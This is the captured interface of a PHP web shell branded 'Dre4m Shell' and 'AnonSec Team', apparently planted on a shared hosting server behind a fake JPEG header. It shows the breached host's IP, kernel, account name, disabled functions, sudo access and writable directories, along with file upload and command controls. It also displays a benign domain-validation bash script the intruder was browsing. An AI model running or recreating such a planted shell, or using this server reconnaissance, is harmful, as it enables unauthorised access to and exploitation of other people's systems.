ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.191.54.148
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/tier1adv/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/tier1adv/bin/dcv
#!/bin/bash
# dcv v1.0
# A script used to add domain control validation text file to user account
# Written by Shawn C.

REQARGS=3

# Usage
function print_usage {

        echo
        echo "  Usage: dcv <domain> <md5> <sha1>"
        echo
        exit

}

function check_sanity {

        echo

# Is "www" included in the domain?
        if echo $DOMAIN | grep "^www." &> /dev/null; then
                echo -n "Found leading 'www.' in domain, stripping... "
                DOM=$(echo $DOMAIN | sed "s/www\.//g")
                DOMAIN=$DOM && echo "success."
        fi

# Does the domain exist on the server?

        echo -n "Searching for domain on server... "

        if ! sudo grep "^$DOMAIN:" /etc/userdatadomains &> /dev/null; then
                echo "failure."
                echo
                exit
        else
                echo "success."
                echo -n "Searching for document root... "
                OWNER=$(sudo cat /etc/userdatadomains | grep ^$DOMAIN: | awk '{print $2}' | awk -F"==" '{print $1}')
                DOCROOT=$(sudo cat /etc/userdatadomains | grep ^$DOMAIN: | awk -F"==" '{print $5}')
                TXT=$(echo "$DOCROOT/$MD5.txt")
                URL=$(echo "http://$DOMAIN/$MD5.txt")

                if [[ $DOCROOT != "" ]]; then
                        echo "success."
                else
                        echo "failure."
                        exit
                fi

                echo
                echo "Owner: $OWNER"
                echo "Docroot: $DOCROOT"
                echo "Domain: $DOMAIN"
                echo "MD5: $MD5"
                echo "SHA-1: $SHA1"
                echo "File: $TXT"
                echo "URL: $URL"
                echo
        fi

}

function add_dcv {

        /opt/tier1adv/bin/switch $OWNER <<-DCV
                echo
                echo -n "Adding $TXT... "
                echo -e "$SHA1\ncomodoca.com" > $TXT && echo "success." || echo "failure."
DCV

        echo -n "Checking if DCV is web accessible... "
        curl -sA '"Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"' $URL | grep "$SHA1\|comodoca.com" &> /dev/null && echo "success." || echo "failure."
        echo
        echo "Operation completed."
        echo
        exit
}

if [[ $# -eq $REQARGS ]]; then
        DOMAIN=$1
        MD5=$2
        SHA1=$3
        check_sanity
        add_dcv
else
        print_usage
fi

Anon7 - 2022
AnonSec Team